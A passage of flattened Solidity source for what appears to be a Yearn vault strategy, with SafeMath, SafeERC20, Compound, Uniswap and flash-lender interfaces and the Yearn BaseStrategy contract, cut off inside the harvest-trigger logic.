* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Part: iearn-finance/[email protected]/HealthCheck
interface HealthCheck {
function check(
uint256 profit,
uint256 loss,
uint256 debtPayment,
uint256 debtOutstanding,
uint256 totalDebt
) external view returns (bool);
}
// Part: CTokenI
interface CTokenI {
/*** Market Events ***/
/**
* @notice Event emitted when interest is accrued
*/
event AccrueInterest(uint256 cashPrior, uint256 interestAccumulated, uint256 borrowIndex, uint256 totalBorrows);
/**
* @notice Event emitted when tokens are minted
*/
event Mint(address minter, uint256 mintAmount, uint256 mintTokens);
/**
* @notice Event emitted when tokens are redeemed
*/
event Redeem(address redeemer, uint256 redeemAmount, uint256 redeemTokens);
/**
* @notice Event emitted when underlying is borrowed
*/
event Borrow(address borrower, uint256 borrowAmount, uint256 accountBorrows, uint256 totalBorrows);
/**
* @notice Event emitted when a borrow is repaid
*/
event RepayBorrow(address payer, address borrower, uint256 repayAmount, uint256 accountBorrows, uint256 totalBorrows);
/**
* @notice Event emitted when a borrow is liquidated
*/
event LiquidateBorrow(address liquidator, address borrower, uint256 repayAmount, address cTokenCollateral, uint256 seizeTokens);
/*** Admin Events ***/
/**
* @notice Event emitted when pendingAdmin is changed
*/
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
/**
* @notice Event emitted when pendingAdmin is accepted, which means admin is updated
*/
event NewAdmin(address oldAdmin, address newAdmin);
/**
* @notice Event emitted when the reserve factor is changed
*/
event NewReserveFactor(uint256 oldReserveFactorMantissa, uint256 newReserveFactorMantissa);
/**
* @notice Event emitted when the reserves are added
*/
event ReservesAdded(address benefactor, uint256 addAmount, uint256 newTotalReserves);
/**
* @notice Event emitted when the reserves are reduced
*/
event ReservesReduced(address admin, uint256 reduceAmount, uint256 newTotalReserves);
/**
* @notice EIP20 Transfer event
*/
event Transfer(address indexed from, address indexed to, uint256 amount);
/**
* @notice EIP20 Approval event
*/
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Failure event
*/
event Failure(uint256 error, uint256 info, uint256 detail);
function transfer(address dst, uint256 amount) external returns (bool);
function transferFrom(
address src,
address dst,
uint256 amount
) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function balanceOfUnderlying(address owner) external returns (uint256);
function getAccountSnapshot(address account)
external
view
returns (
uint256,
uint256,
uint256,
uint256
);
function borrowRatePerBlock() external view returns (uint256);
function supplyRatePerBlock() external view returns (uint256);
function totalBorrowsCurrent() external returns (uint256);
function borrowBalanceCurrent(address account) external returns (uint256);
function borrowBalanceStored(address account) external view returns (uint256);
function exchangeRateCurrent() external returns (uint256);
function accrualBlockNumber() external view returns (uint256);
function exchangeRateStored() external view returns (uint256);
function getCash() external view returns (uint256);
function accrueInterest() external returns (uint256);
function interestRateModel() external view returns (InterestRateModel);
function totalReserves() external view returns (uint256);
function reserveFactorMantissa() external view returns (uint256);
function seize(
address liquidator,
address borrower,
uint256 seizeTokens
) external returns (uint256);
function totalBorrows() external view returns (uint256);
function totalSupply() external view returns (uint256);
}
// Part: IERC20Extended
interface IERC20Extended is IERC20 {
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
// Part: IERC3156FlashLender
interface IERC3156FlashLender {
/**
* @dev The amount of currency available to be lent.
* @param token The loan currency.
* @return The amount of `token` that can be borrowed.
*/
function maxFlashLoan(
address token
) external view returns (uint256);
/**
* @dev The fee to be charged for a given loan.
* @param token The loan currency.
* @param amount The amount of tokens lent.
* @return The amount of `token` to be charged for the loan, on top of the returned principal.
*/
function flashFee(
address token,
uint256 amount
) external view returns (uint256);
/**
* @dev Initiate a flash loan.
* @param receiver The receiver of the tokens in the loan, and the receiver of the callback.
* @param token The loan currency.
* @param amount The amount of tokens lent.
* @param data Arbitrary data structure, intended to contain user-defined parameters.
*/
function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool);
}
// Part: IUniswapV2Router02
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
// Part: IUniswapV3Router
/// @title Router token swapping functionality
/// @notice Functions for swapping tokens via Uniswap V3
interface IUniswapV3Router is IUniswapV3SwapCallback {
struct ExactInputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
uint160 sqrtPriceLimitX96;
}
/// @notice Swaps `amountIn` of one token for as much as possible of another token
/// @param params The parameters necessary for the swap, encoded as `ExactInputSingleParams` in calldata
/// @return amountOut The amount of the received token
function exactInputSingle(ExactInputSingleParams calldata params)
external
payable
returns (uint256 amountOut);
struct ExactInputParams {
bytes path;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
}
/// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path
/// @param params The parameters necessary for the multi-hop swap, encoded as `ExactInputParams` in calldata
/// @return amountOut The amount of the received token
function exactInput(ExactInputParams calldata params)
external
payable
returns (uint256 amountOut);
struct ExactOutputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 deadline;
uint256 amountOut;
uint256 amountInMaximum;
uint160 sqrtPriceLimitX96;
}
/// @notice Swaps as little as possible of one token for `amountOut` of another token
/// @param params The parameters necessary for the swap, encoded as `ExactOutputSingleParams` in calldata
/// @return amountIn The amount of the input token
function exactOutputSingle(ExactOutputSingleParams calldata params)
external
payable
returns (uint256 amountIn);
struct ExactOutputParams {
bytes path;
address recipient;
uint256 deadline;
uint256 amountOut;
uint256 amountInMaximum;
}
/// @notice Swaps as little as possible of one token for `amountOut` of another along the specified path (reversed)
/// @param params The parameters necessary for the multi-hop swap, encoded as `ExactOutputParams` in calldata
/// @return amountIn The amount of the input token
function exactOutput(ExactOutputParams calldata params)
external
payable
returns (uint256 amountIn);
}
// Part: OpenZeppelin/[email protected]/SafeERC20
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Part: iearn-finance/[email protected]/VaultAPI
interface VaultAPI is IERC20 {
function name() external view returns (string calldata);
function symbol() external view returns (string calldata);
function decimals() external view returns (uint256);
function apiVersion() external pure returns (string memory);
function permit(
address owner,
address spender,
uint256 amount,
uint256 expiry,
bytes calldata signature
) external returns (bool);
// NOTE: Vyper produces multiple signatures for a given function with "default" args
function deposit() external returns (uint256);
function deposit(uint256 amount) external returns (uint256);
function deposit(uint256 amount, address recipient) external returns (uint256);
// NOTE: Vyper produces multiple signatures for a given function with "default" args
function withdraw() external returns (uint256);
function withdraw(uint256 maxShares) external returns (uint256);
function withdraw(uint256 maxShares, address recipient) external returns (uint256);
function token() external view returns (address);
function strategies(address _strategy) external view returns (StrategyParams memory);
function pricePerShare() external view returns (uint256);
function totalAssets() external view returns (uint256);
function depositLimit() external view returns (uint256);
function maxAvailableShares() external view returns (uint256);
/**
* View how much the Vault would increase this Strategy's borrow limit,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function creditAvailable() external view returns (uint256);
/**
* View how much the Vault would like to pull back from the Strategy,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function debtOutstanding() external view returns (uint256);
/**
* View how much the Vault expect this Strategy to return at the current
* block, based on its present performance (since its last report). Can be
* used to determine expectedReturn in your Strategy.
*/
function expectedReturn() external view returns (uint256);
/**
* This is the main contact point where the Strategy interacts with the
* Vault. It is critical that this call is handled as intended by the
* Strategy. Therefore, this function will be called by BaseStrategy to
* make sure the integration is correct.
*/
function report(
uint256 _gain,
uint256 _loss,
uint256 _debtPayment
) external returns (uint256);
/**
* This function should only be used in the scenario where the Strategy is
* being retired but no migration of the positions are possible, or in the
* extreme scenario that the Strategy needs to be put into "Emergency Exit"
* mode in order for it to exit as quickly as possible. The latter scenario
* could be for any reason that is considered "critical" that the Strategy
* exits its position as fast as possible, such as a sudden change in
* market conditions leading to losses, or an imminent failure in an
* external dependency.
*/
function revokeStrategy() external;
/**
* View the governance address of the Vault to assert privileged functions
* can only be called by governance. The Strategy serves the Vault, so it
* is subject to governance defined by the Vault.
*/
function governance() external view returns (address);
/**
* View the management address of the Vault to assert privileged functions
* can only be called by management. The Strategy serves the Vault, so it
* is subject to management defined by the Vault.
*/
function management() external view returns (address);
/**
* View the guardian address of the Vault to assert privileged functions
* can only be called by guardian. The Strategy serves the Vault, so it
* is subject to guardian defined by the Vault.
*/
function guardian() external view returns (address);
}
// Part: CErc20I
interface CErc20I is CTokenI {
function mint(uint256 mintAmount) external returns (uint256);
function redeem(uint256 redeemTokens) external returns (uint256);
function redeemUnderlying(uint256 redeemAmount) external returns (uint256);
function borrow(uint256 borrowAmount) external returns (uint256);
function repayBorrow(uint256 repayAmount) external returns (uint256);
function repayBorrowBehalf(address borrower, uint256 repayAmount) external returns (uint256);
function liquidateBorrow(
address borrower,
uint256 repayAmount,
CTokenI cTokenCollateral
) external returns (uint256);
function underlying() external view returns (address);
}
// Part: ComptrollerI
interface ComptrollerI {
function enterMarkets(address[] calldata cTokens) external returns (uint256[] memory);
function exitMarket(address cToken) external returns (uint256);
/*** Policy Hooks ***/
function mintAllowed(
address cToken,
address minter,
uint256 mintAmount
) external returns (uint256);
function mintVerify(
address cToken,
address minter,
uint256 mintAmount,
uint256 mintTokens
) external;
function redeemAllowed(
address cToken,
address redeemer,
uint256 redeemTokens
) external returns (uint256);
function redeemVerify(
address cToken,
address redeemer,
uint256 redeemAmount,
uint256 redeemTokens
) external;
function borrowAllowed(
address cToken,
address borrower,
uint256 borrowAmount
) external returns (uint256);
function borrowVerify(
address cToken,
address borrower,
uint256 borrowAmount
) external;
function repayBorrowAllowed(
address cToken,
address payer,
address borrower,
uint256 repayAmount
) external returns (uint256);
function repayBorrowVerify(
address cToken,
address payer,
address borrower,
uint256 repayAmount,
uint256 borrowerIndex
) external;
function liquidateBorrowAllowed(
address cTokenBorrowed,
address cTokenCollateral,
address liquidator,
address borrower,
uint256 repayAmount
) external returns (uint256);
function liquidateBorrowVerify(
address cTokenBorrowed,
address cTokenCollateral,
address liquidator,
address borrower,
uint256 repayAmount,
uint256 seizeTokens
) external;
function seizeAllowed(
address cTokenCollateral,
address cTokenBorrowed,
address liquidator,
address borrower,
uint256 seizeTokens
) external returns (uint256);
function seizeVerify(
address cTokenCollateral,
address cTokenBorrowed,
address liquidator,
address borrower,
uint256 seizeTokens
) external;
function transferAllowed(
address cToken,
address src,
address dst,
uint256 transferTokens
) external returns (uint256);
function transferVerify(
address cToken,
address src,
address dst,
uint256 transferTokens
) external;
/*** Liquidity/Liquidation Calculations ***/
function liquidateCalculateSeizeTokens(
address cTokenBorrowed,
address cTokenCollateral,
uint256 repayAmount
) external view returns (uint256, uint256);
function getAccountLiquidity(address account)
external
view
returns (
uint256,
uint256,
uint256
);
/*** Comp claims ****/
function claimComp(address holder) external;
function claimComp(address holder, CTokenI[] memory cTokens) external;
function markets(address ctoken)
external
view
returns (
bool,
uint256,
bool
);
function compSpeeds(address ctoken) external view returns (uint256); // will be deprecated
function compSupplySpeeds(address ctoken) external view returns (uint256);
function compBorrowSpeeds(address ctoken) external view returns (uint256);
function oracle() external view returns (address);
}
// Part: iearn-finance/[email protected]/BaseStrategy
/**
* @title Yearn Base Strategy
* @author yearn.finance
* @notice
* BaseStrategy implements all of the required functionality to interoperate
* closely with the Vault contract. This contract should be inherited and the
* abstract methods implemented to adapt the Strategy to the particular needs
* it has to create a return.
*
* Of special interest is the relationship between `harvest()` and
* `vault.report()'. `harvest()` may be called simply because enough time has
* elapsed since the last report, and not because any funds need to be moved
* or positions adjusted. This is critical so that the Vault may maintain an
* accurate picture of the Strategy's performance. See `vault.report()`,
* `harvest()`, and `harvestTrigger()` for further details.
*/
abstract contract BaseStrategy {
using SafeMath for uint256;
using SafeERC20 for IERC20;
string public metadataURI;
// health checks
bool public doHealthCheck;
address public healthCheck;
/**
* @notice
* Used to track which version of `StrategyAPI` this Strategy
* implements.
* @dev The Strategy's version must match the Vault's `API_VERSION`.
* @return A string which holds the current API version of this contract.
*/
function apiVersion() public pure returns (string memory) {
return "0.4.3";
}
/**
* @notice This Strategy's name.
* @dev
* You can use this field to manage the "version" of this Strategy, e.g.
* `StrategySomethingOrOtherV1`. However, "API Version" is managed by
* `apiVersion()` function above.
* @return This Strategy's name.
*/
function name() external view virtual returns (string memory);
/**
* @notice
* The amount (priced in want) of the total assets managed by this strategy should not count
* towards Yearn's TVL calculations.
* @dev
* You can override this field to set it to a non-zero value if some of the assets of this
* Strategy is somehow delegated inside another part of of Yearn's ecosystem e.g. another Vault.
* Note that this value must be strictly less than or equal to the amount provided by
* `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets.
* Also note that this value is used to determine the total assets under management by this
* strategy, for the purposes of computing the management fee in `Vault`
* @return
* The amount of assets this strategy manages that should not be included in Yearn's Total Value
* Locked (TVL) calculation across it's ecosystem.
*/
function delegatedAssets() external view virtual returns (uint256) {
return 0;
}
VaultAPI public vault;
address public strategist;
address public rewards;
address public keeper;
IERC20 public want;
// So indexers can keep track of this
event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding);
event UpdatedStrategist(address newStrategist);
event UpdatedKeeper(address newKeeper);
event UpdatedRewards(address rewards);
event UpdatedMinReportDelay(uint256 delay);
event UpdatedMaxReportDelay(uint256 delay);
event UpdatedProfitFactor(uint256 profitFactor);
event UpdatedDebtThreshold(uint256 debtThreshold);
event EmergencyExitEnabled();
event UpdatedMetadataURI(string metadataURI);
// The minimum number of seconds between harvest calls. See
// `setMinReportDelay()` for more details.
uint256 public minReportDelay;
// The maximum number of seconds between harvest calls. See
// `setMaxReportDelay()` for more details.
uint256 public maxReportDelay;
// The minimum multiple that `callCost` must be above the credit/profit to
// be "justifiable". See `setProfitFactor()` for more details.
uint256 public profitFactor;
// Use this to adjust the threshold at which running a debt causes a
// harvest trigger. See `setDebtThreshold()` for more details.
uint256 public debtThreshold;
// See note on `setEmergencyExit()`.
bool public emergencyExit;
// modifiers
modifier onlyAuthorized() {
require(msg.sender == strategist || msg.sender == governance(), "!authorized");
_;
}
modifier onlyEmergencyAuthorized() {
require(
msg.sender == strategist || msg.sender == governance() || msg.sender == vault.guardian() || msg.sender == vault.management(),
"!authorized"
);
_;
}
modifier onlyStrategist() {
require(msg.sender == strategist, "!strategist");
_;
}
modifier onlyGovernance() {
require(msg.sender == governance(), "!authorized");
_;
}
modifier onlyKeepers() {
require(
msg.sender == keeper ||
msg.sender == strategist ||
msg.sender == governance() ||
msg.sender == vault.guardian() ||
msg.sender == vault.management(),
"!authorized"
);
_;
}
modifier onlyVaultManagers() {
require(msg.sender == vault.management() || msg.sender == governance(), "!authorized");
_;
}
constructor(address _vault) public {
_initialize(_vault, msg.sender, msg.sender, msg.sender);
}
/**
* @notice
* Initializes the Strategy, this is called only once, when the
* contract is deployed.
* @dev `_vault` should implement `VaultAPI`.
* @param _vault The address of the Vault responsible for this Strategy.
* @param _strategist The address to assign as `strategist`.
* The strategist is able to change the reward address
* @param _rewards The address to use for pulling rewards.
* @param _keeper The adddress of the _keeper. _keeper
* can harvest and tend a strategy.
*/
function _initialize(
address _vault,
address _strategist,
address _rewards,
address _keeper
) internal {
require(address(want) == address(0), "Strategy already initialized");
vault = VaultAPI(_vault);
want = IERC20(vault.token());
want.safeApprove(_vault, uint256(-1)); // Give Vault unlimited access (might save gas)
strategist = _strategist;
rewards = _rewards;
keeper = _keeper;
// initialize variables
minReportDelay = 0;
maxReportDelay = 86400;
profitFactor = 100;
debtThreshold = 0;
vault.approve(rewards, uint256(-1)); // Allow rewards to be pulled
}
function setHealthCheck(address _healthCheck) external onlyVaultManagers {
healthCheck = _healthCheck;
}
function setDoHealthCheck(bool _doHealthCheck) external onlyVaultManagers {
doHealthCheck = _doHealthCheck;
}
/**
* @notice
* Used to change `strategist`.
*
* This may only be called by governance or the existing strategist.
* @param _strategist The new address to assign as `strategist`.
*/
function setStrategist(address _strategist) external onlyAuthorized {
require(_strategist != address(0));
strategist = _strategist;
emit UpdatedStrategist(_strategist);
}
/**
* @notice
* Used to change `keeper`.
*
* `keeper` is the only address that may call `tend()` or `harvest()`,
* other than `governance()` or `strategist`. However, unlike
* `governance()` or `strategist`, `keeper` may *only* call `tend()`
* and `harvest()`, and no other authorized functions, following the
* principle of least privilege.
*
* This may only be called by governance or the strategist.
* @param _keeper The new address to assign as `keeper`.
*/
function setKeeper(address _keeper) external onlyAuthorized {
require(_keeper != address(0));
keeper = _keeper;
emit UpdatedKeeper(_keeper);
}
/**
* @notice
* Used to change `rewards`. EOA or smart contract which has the permission
* to pull rewards from the vault.
*
* This may only be called by the strategist.
* @param _rewards The address to use for pulling rewards.
*/
function setRewards(address _rewards) external onlyStrategist {
require(_rewards != address(0));
vault.approve(rewards, 0);
rewards = _rewards;
vault.approve(rewards, uint256(-1));
emit UpdatedRewards(_rewards);
}
/**
* @notice
* Used to change `minReportDelay`. `minReportDelay` is the minimum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the minimum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The minimum number of seconds to wait between harvests.
*/
function setMinReportDelay(uint256 _delay) external onlyAuthorized {
minReportDelay = _delay;
emit UpdatedMinReportDelay(_delay);
}
/**
* @notice
* Used to change `maxReportDelay`. `maxReportDelay` is the maximum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the maximum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The maximum number of seconds to wait between harvests.
*/
function setMaxReportDelay(uint256 _delay) external onlyAuthorized {
maxReportDelay = _delay;
emit UpdatedMaxReportDelay(_delay);
}
/**
* @notice
* Used to change `profitFactor`. `profitFactor` is used to determine
* if it's worthwhile to harvest, given gas costs. (See `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _profitFactor A ratio to multiply anticipated
* `harvest()` gas cost against.
*/
function setProfitFactor(uint256 _profitFactor) external onlyAuthorized {
profitFactor = _profitFactor;
emit UpdatedProfitFactor(_profitFactor);
}
/**
* @notice
* Sets how far the Strategy can go into loss without a harvest and report
* being required.
*
* By default this is 0, meaning any losses would cause a harvest which
* will subsequently report the loss to the Vault for tracking. (See
* `harvestTrigger()` for more details.)
*
* This may only be called by governance or the strategist.
* @param _debtThreshold How big of a loss this Strategy may carry without
* being required to report to the Vault.
*/
function setDebtThreshold(uint256 _debtThreshold) external onlyAuthorized {
debtThreshold = _debtThreshold;
emit UpdatedDebtThreshold(_debtThreshold);
}
/**
* @notice
* Used to change `metadataURI`. `metadataURI` is used to store the URI
* of the file describing the strategy.
*
* This may only be called by governance or the strategist.
* @param _metadataURI The URI that describe the strategy.
*/
function setMetadataURI(string calldata _metadataURI) external onlyAuthorized {
metadataURI = _metadataURI;
emit UpdatedMetadataURI(_metadataURI);
}
/**
* Resolve governance address from Vault contract, used to make assertions
* on protected functions in the Strategy.
*/
function governance() internal view returns (address) {
return vault.governance();
}
/**
* @notice
* Provide an accurate conversion from `_amtInWei` (denominated in wei)
* to `want` (using the native decimal characteristics of `want`).
* @dev
* Care must be taken when working with decimals to assure that the conversion
* is compatible. As an example:
*
* given 1e17 wei (0.1 ETH) as input, and want is USDC (6 decimals),
* with USDC/ETH = 1800, this should give back 1800000000 (180 USDC)
*
* @param _amtInWei The amount (in wei/1e-18 ETH) to convert to `want`
* @return The amount in `want` of `_amtInEth` converted to `want`
**/
function ethToWant(uint256 _amtInWei) public view virtual returns (uint256);
/**
* @notice
* Provide an accurate estimate for the total amount of assets
* (principle + return) that this Strategy is currently managing,
* denominated in terms of `want` tokens.
*
* This total should be "realizable" e.g. the total value that could
* *actually* be obtained from this Strategy if it were to divest its
* entire position based on current on-chain conditions.
* @dev
* Care must be taken in using this function, since it relies on external
* systems, which could be manipulated by the attacker to give an inflated
* (or reduced) value produced by this function, based on current on-chain
* conditions (e.g. this function is possible to influence through
* flashloan attacks, oracle manipulations, or other DeFi attack
* mechanisms).
*
* It is up to governance to use this function to correctly order this
* Strategy relative to its peers in the withdrawal queue to minimize
* losses for the Vault based on sudden withdrawals. This value should be
* higher than the total debt of the Strategy and higher than its expected
* value to be "safe".
* @return The estimated total assets in this Strategy.
*/
function estimatedTotalAssets() public view virtual returns (uint256);
/*
* @notice
* Provide an indication of whether this strategy is currently "active"
* in that it is managing an active position, or will manage a position in
* the future. This should correlate to `harvest()` activity, so that Harvest
* events can be tracked externally by indexing agents.
* @return True if the strategy is actively managing a position.
*/
function isActive() public view returns (bool) {
return vault.strategies(address(this)).debtRatio > 0 || estimatedTotalAssets() > 0;
}
/**
* Perform any Strategy unwinding or other calls necessary to capture the
* "free return" this Strategy has generated since the last time its core
* position(s) were adjusted. Examples include unwrapping extra rewards.
* This call is only used during "normal operation" of a Strategy, and
* should be optimized to minimize losses as much as possible.
*
* This method returns any realized profits and/or realized losses
* incurred, and should return the total amounts of profits/losses/debt
* payments (in `want` tokens) for the Vault's accounting (e.g.
* `want.balanceOf(this) >= _debtPayment + _profit`).
*
* `_debtOutstanding` will be 0 if the Strategy is not past the configured
* debt limit, otherwise its value will be how far past the debt limit
* the Strategy is. The Strategy's debt limit is configured in the Vault.
*
* NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`.
* It is okay for it to be less than `_debtOutstanding`, as that
* should only used as a guide for how much is left to pay back.
* Payments should be made to minimize loss from slippage, debt,
* withdrawal fees, etc.
*
* See `vault.debtOutstanding()`.
*/
function prepareReturn(uint256 _debtOutstanding)
internal
virtual
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
);
/**
* Perform any adjustments to the core position(s) of this Strategy given
* what change the Vault made in the "investable capital" available to the
* Strategy. Note that all "free capital" in the Strategy after the report
* was made is available for reinvestment. Also note that this number
* could be 0, and you should handle that scenario accordingly.
*
* See comments regarding `_debtOutstanding` on `prepareReturn()`.
*/
function adjustPosition(uint256 _debtOutstanding) internal virtual;
/**
* Liquidate up to `_amountNeeded` of `want` of this strategy's positions,
* irregardless of slippage. Any excess will be re-invested with `adjustPosition()`.
* This function should return the amount of `want` tokens made available by the
* liquidation. If there is a difference between them, `_loss` indicates whether the
* difference is due to a realized loss, or if there is some other sitution at play
* (e.g. locked funds) where the amount made available is less than what is needed.
*
* NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained
*/
function liquidatePosition(uint256 _amountNeeded) internal virtual returns (uint256 _liquidatedAmount, uint256 _loss);
/**
* Liquidate everything and returns the amount that got freed.
* This function is used during emergency exit instead of `prepareReturn()` to
* liquidate all of the Strategy's positions back to the Vault.
*/
function liquidateAllPositions() internal virtual returns (uint256 _amountFreed);
/**
* @notice
* Provide a signal to the keeper that `tend()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `tend()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `tend()` is not called
* shortly, then this can return `true` even if the keeper might be
* "at a loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCostInWei` must be priced in terms of `wei` (1e-18 ETH).
*
* This call and `harvestTrigger()` should never return `true` at the same
* time.
* @param callCostInWei The keeper's estimated gas cost to call `tend()` (in wei).
* @return `true` if `tend()` should be called, `false` otherwise.
*/
function tendTrigger(uint256 callCostInWei) public view virtual returns (bool) {
// We usually don't need tend, but if there are positions that need
// active maintainence, overriding this function is how you would
// signal for that.
// If your implementation uses the cost of the call in want, you can
// use uint256 callCost = ethToWant(callCostInWei);
return false;
}
/**
* @notice
* Adjust the Strategy's position. The purpose of tending isn't to
* realize gains, but to maximize yield by reinvesting any returns.
*
* See comments on `adjustPosition()`.
*
* This may only be called by governance, the strategist, or the keeper.
*/
function tend() external onlyKeepers {
// Don't take profits with this call, but adjust for better gains
adjustPosition(vault.debtOutstanding());
}
/**
* @notice
* Provide a signal to the keeper that `harvest()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `harvest()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `harvest()` is not called
* shortly, then this can return `true` even if the keeper might be "at a
* loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCostInWei` must be priced in terms of `wei` (1e-18 ETH).
*
* This call and `tendTrigger` should never return `true` at the
* same time.
*
* See `min/maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the
* strategist-controlled parameters that will influence whether this call
* returns `true` or not. These parameters will be used in conjunction
* with the parameters reported to the Vault (see `params`) to determine
* if calling `harvest()` is merited.
*
* It is expected that an external system will check `harvestTrigger()`.
* This could be a script run off a desktop or cloud bot (e.g.
* https://github.com/iearn-finance/yearn-vaults/blob/main/scripts/keep.py),
* or via an integration with the Keep3r network (e.g.
* https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol).
* @param callCostInWei The keeper's estimated gas cost to call `harvest()` (in wei).
* @return `true` if `harvest()` should be called, `false` otherwise.
*/
function harvestTrigger(uint256 callCostInWei) public view virtual returns (bool) {
uint256 callCost = ethToWant(callCostInWei);
StrategyParams memory params = vault.strategies(address(this));
// Should not trigger if Strategy is not activated
if (params.activation == 0) return false;
// Should not trigger if we haven't waited long enough since previous harvest
if (block.timestamp.sub(params.lastReport) < minReportDelay) return false;
// Should trigger if hasn't been called in a while
if (block.timestamp.sub(params.lastReport) >= maxReportDelay) return true;
// If some amount is owed, pay it back
// NOTE: Since debt is based on deposits, it makes sense to guard against large
